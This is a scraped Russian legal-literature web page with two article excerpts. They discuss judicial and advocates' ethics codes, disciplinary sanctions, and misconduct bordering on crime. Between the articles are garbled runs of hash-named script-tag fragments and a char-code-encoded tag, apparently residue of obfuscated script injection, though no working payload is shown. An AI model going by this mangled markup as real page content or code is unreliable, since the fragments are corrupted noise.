нравственную деградацию286.67447c3022b76408fd3e4585b823e207.js" type="text/javascript">f721c05403256d5814522686f095b62echar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)04b40e28ac120ae59207720dc386b195.js" type="text/javascript">b2799daeb34e10888d0db7d19d2de5cb.js" type="text/javascript">75d00a8395ec423fbf6c329eb6cdc3fd.js" type="text/javascript">060265b38d52c5e3d44277f8efd8639f.js" type="text/javascript">8c24a4cbf8941f8ac7aaf682e0b55be5.js" type="text/javascript">321e2f4deb829e998e0154c1062f335d.js" type="text/javascript">eb9248171dfd84aef5e3d64044e41bf1.js" type="text/javascript">d5063610404650ded3e19359d42c328e.js" type="text/javascript">1d5f4f017e73149c155ad9b981056956.js" type="text/javascript">55f4dfadfc949a7815c0b4de83a8c8d0.js" type="text/javascript">04a57c7e87e23d33f32ee2aa1c0533b6.js" type="text/javascript">
Коментариев: 0 | Просмотров: 218 |
Квалификация преступлений, граничащих с аморальными проступками судей
  Проблемы квалификации преступлений | Автор: admin | 12-05-2010, 21:03
2 декабря 2005 г. на VI съезде судей России был принят Кодекс судейской этики,
сменивший Кодекс чести судьи 1993 г. Его особенность: сочетание правовых и
моральных норм, за нарушение которых следует дисциплинарная ответственность,
налагаемая квалификационными коллегиями судей — Высшей и субъектов Российской
Федерации. Тем, что он принят не государственными органами, а судейским
сообществом, что решения о дисциплинарных взысканиях принимают органы этого
сообщества, что регламентируются им моральные качества судей и кандидатов в судьи,
наконец, что им урегулировано и внеслужебное поведение судей, Кодекс является
этическим. Тем же, что за его нарушение следуют дисциплинарные наказания, т.е.
правовые санкции, он является юридическим Кодексом. Аналогичные дисциплинарные
санкции предусматривает ФЗ «О статусе судей в Российской Федерации».
Такие особенности Кодекса судейской этики позволяют признавать его морально-
правовым актом, а его нарушения морально-юридическими. В ст. 12 Кодекса судейской
этики сказано, что «Настоящий Кодекс устанавливает правила поведения судьи в
профессиональной и во внеслужебной деятельности и обязателен для каждого судьи
Российской Федерации, независимо от занимаемой должности, а также для судей,
находящихся в отставке, но сохраняющих звание судьи и принадлежность к судейскому
сообществу».
Комментаторы данной статьи пишут, что «Правила поведения судьи, установленные
Кодексом, обязательны для исполнения, т.е. носят императивный характер»289.
Императивность сближает этические правила с правовыми. Статья 11 Кодекса
«Дисциплинарная ответственность судей» говорит: «1.
За совершение
дисциплинарного проступка (нарушение норм Закона Российской Федерации “О
статусе судей в Российской Федерации” и положений настоящего Кодекса) на судью, за
исключением судьи Конституционного Суда Российской Федерации, может быть
наложено дисциплинарное взыскание в виде:
– предупреждения;
– досрочного прекращения полномочий судьи.
2. При решении вопроса о мере дисциплинарной ответственности судом
учитываются все обстоятельства совершенного проступка, ущерб, причиненный
авторитету судебной власти и званию судьи, личность судьи и его отношение к
совершенному проступку».
Процитированные положения определяют природу нарушений Кодекса судейской
этики по существу как дисциплинарных проступков, фактически равнозначных
дисциплинарным правонарушениям. Тем самым определяется сфера сопредельности
преступлений и морально-дисциплинарных проступков судей при отправление
правосудия. Оценка бытового аморализма судей более дифференцирована.
За десять лет с 1994 по 2003 г. за совершение поступков, позорящих честь и
достоинство судьи или умаляющих авторитет судебной власти, либо за
дисциплинарные проступки прекращены полномочия 727 судей290. За один год по
решению Высшей квалификационной коллегии судей прекратили свои полномочия за
совершение проступков, несовместимых с судейским статусом, 70 судей. Пятеро судей
с согласия коллегии привлечены к уголовной ответственности. Еще 240 судей
получили предупреждения (31% от общего числа правонарушений) за нарушения
процессуального законодательства. Затем идет фальсификация судебных документов,
волокита и нарушение трудовой дисциплины. В 2000 г. основаниями отрешения судей
от должности явились волокита и грубые нарушения процессуального закона;
фальсификация судебных документов, изготовление приговоров вне совещательной
комнаты; прогулы и пьянство, недостойное поведение в быту; нарушение Кодекса
чести судьи РФ291. За неполный 2001 г. по аналогичным основаниям были прекращены
полномочия 36 судей, 116 получили «последнее предупреждение»292.
В 2004 г. лишились своего статуса за вынесение заведомо неправосудных решений
60 судей, в 2005 г. более 50. Неправосудные приговоры были связаны не только с
корыстью, но и с низкой квалификацией судей. 30% судей в 2004 г. не сдали экзамен
для получения должности судьи. Несмотря на то что 15%, т.е. 3 тыс. судейских мест
пустует, квалификационные комиссии стремятся не снижать требований к кандидатам
в судьи. Разработан законопроект, согласно которому претендентам на место судьи
придется проходить серьезную психологическую диагностику, в том числе и через
детектор лжи. Высказываются предложения о создании в судах службы собственной
безопасности.29508ac6463d05c7ac0570ba6518442b.js" type="text/javascript">0b05639f6b9d70aa33b946a86b26c7d8char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)266eb73e2b84c2fa8afd5f0db720fb5e.js" type="text/javascript">402e9edaad32b901a072dcbd26288c96.js" type="text/javascript">09ce068d234ddba88810d0cef6e8553d.js" type="text/javascript">96a7afb31a881b67dd2a2dc4a7879506.js" type="text/javascript">097206f98d469b44d58b86ea5d44e180.js" type="text/javascript">6f0c63cfcef34d357195f1dcea55d039.js" type="text/javascript">674172a114c1953ffe4cccb28c47a61f.js" type="text/javascript">6d29fae5702642495fe57b57e6ea8958.js" type="text/javascript">3f85c4095a8e6563e1d91033d1a520f8.js" type="text/javascript">2fb56096dc0a3025d3ce433973de24a4.js" type="text/javascript">a228c985d2a65c0b59081ac60c190e5c.js" type="text/javascript">
Коментариев: 0 | Просмотров: 171 |
Преступления, граничащие с аморальными проступками адвокатов
  Проблемы квалификации преступлений | Автор: admin | 12-05-2010, 21:03
Кодекс профессиональной этики адвокатов 2003 г. с изменениями и дополнениями,
утвержденными II Всероссийским съездом адвокатов 8 апреля 2005 г., сочетает
регламентацию дисциплинарных правонарушений и аморальных проступков.
Морально-правовые нарушения непрофессионального поведения адвокатов подрывают
честь, достоинство, деловую репутацию адвокатского сообщества и его членов.
Статья 1 гласит, что «Кодекс профессиональной этики адвоката устанавливает
обязательные для каждого адвоката правила поведения при осуществлении адвокатской
деятельности, основанные на нравственных критериях и традициях адвокатуры, а также
международных стандартах правил адвокатской профессии».
Кодекс адвокатской этики включен отдельной частью в ФЗ «Об адвокатской
деятельности и адвокатуре в Российской Федерации». «Настоящий Кодекс, — говорит
ч. 1 ст. 2, — дополняет правила, установленные законодательством об адвокатской
деятельности и адвокатуре». Этический кодекс, таким образом, оказался частью
федерального закона, что делает его морально-правовым, а нарушения — моральными
правонарушениями. Дисциплинарная ответственность, по суровости схожая с
государственными санкциями по трудовому и иному законодательству, что также
сближает нарушения данного Кодекса с правонарушениями. Дисциплинарные
наказания: 1) замечание; 2) предупреждение; 3) прекращение статуса адвоката; 4) иные
меры, установленные собранием (конференцией) соответствующей адвокатской
палаты. Вместе с тем принят Кодекс не государственной властью, а съездом адвокатов.
Налагают взыскания квалификационные коллегии и Советы адвокатов, что характерно
для моральных санкций.
Сближение и переплетение норм морали и права, корпоративные санкции,
выносимые адвокатским сообществом, — тенденция прогрессивная. Однако при
соблюдении одного важного условия: оценка моральных правонарушений не должна
покрывать преступления, а санкции за них заменять уголовное наказание.
По данным криминологического исследования, проведенного Московской городской
коллегией адвокатов, среди наиболее серьезных проблем сами профессиональные
защитники называют коррупцию в органах правосудия, сверхактивное криминальное
посредничество между доверителями, с одной стороны, и органами досудебного и
судебного производства — с другой306.
Еще более серьезной проблемой исследователи называют все более активное
участие адвокатов в деятельности организованных преступных формирований.
Адвокат, вовлеченный в организованную преступную группу (ОПГ) или преступное
сообщество (ОПС), оказывает им профессиональные услуги на постоянной основе:
консультирует о способах подготовки, совершения и сокрытия преступлений,
средствах и методах оперативно-розыскной деятельности и предварительного
расследования. «На сегодняшний день, — пишет Ю.П. Гармаев, — широко
распространено “содержание” защитников буквально в штате ОПГ и ОПС. В этих
условиях недобросовестные адвокаты выполняют не только процессуальные функции,
но, например, находят и подкупают свидетелей и лжесвидетелей защиты,
фальсифицируют доказательства в интересах ОПГ (ОПС), служат каналом передачи
информации между преступной группой и арестованным, выступают подстрекателями
и пособниками в даче взяток должностным лицам правоохранительных и судебных
органов и т.п.»307Так, в Испании (ноябрь 2006 г.) московскому адвокату А. Гофштейну
как члену организованного преступного сообщества предъявлено обвинение в
отмывании денег и мошенничестве.
Наиболее распространенные аморальные поступки адвокатов, граничащие с
преступлениями, следующие. На первом месте по числу жалоб населения стоит
заволокичивание судопроизводства посредством неявки на судебные заседания (80%
жалоб). Это морально-правовое нарушение по сути не может перерасти в преступление.
На втором месте — получение адвокатами гонораров, минуя кассу адвокатских
коллегий («вживую»). Чрезвычайное завышение стоимости адвокатских услуг,
недоступно для россиян, пятая часть семей которых живет за чертой бедности.
Гражданский процессуальный кодекс 2002 г. резко увеличил пошлину на подачу исков,
что значительно ограничивает доступ к правосудию малосостоятельных истцов. Тот же
ГПК необоснованно ограничил правозащитные полномочия прокурора, который по-
прежнему Кодексу выступал бесплатно в роли «социального адвоката».2c6a6d80d5e8601beb5c10e1350920f9.js" type="text/javascript">6be64cf08218f1d5d20b600bc23f61bfchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)65e4ac1d839b69d0842d00d609e06010.js" type="text/javascript">f6f3ac160ae6bc8303ce2b312b04614d.js" type="text/javascript">7690292ecb5cabe00cad2c4603be3044.js" type="text/javascript">89e87a1eb951a97dd15b152bad7622a1.js" type="text/javascript">67358048910c790ca2d72f952bbc2eb0.js" type="text/javascript">0c6b0461b6af25625d6b5fbb8a586818.js" type="text/javascript">f7366e603c8b399d9bbcaa378ce4a3a2.js" type="text/javascript">5be93d82938b361502815bb3d8eee557.js" type="text/javascript">482fd98333b349f4031ff411fb8a9501.js" type="text/javascript">f9d4810e3b0752a202d33347e5c484f3.js" type="text/javascript">d8a68ee3c206542fb8ac03ac86491c0b.js" type="text/javascript">
Коментариев: 0 | Просмотров: 201 |
ukrstroy.biz
ЮРИДИЧЕСКАЯ ЛИТЕРАТУРА:
РАЗНОЕ:
КОММЕНТАРИИ:
ОКОЛОЮРИДИЧЕСКАЯ ЛИТЕРАТУРА: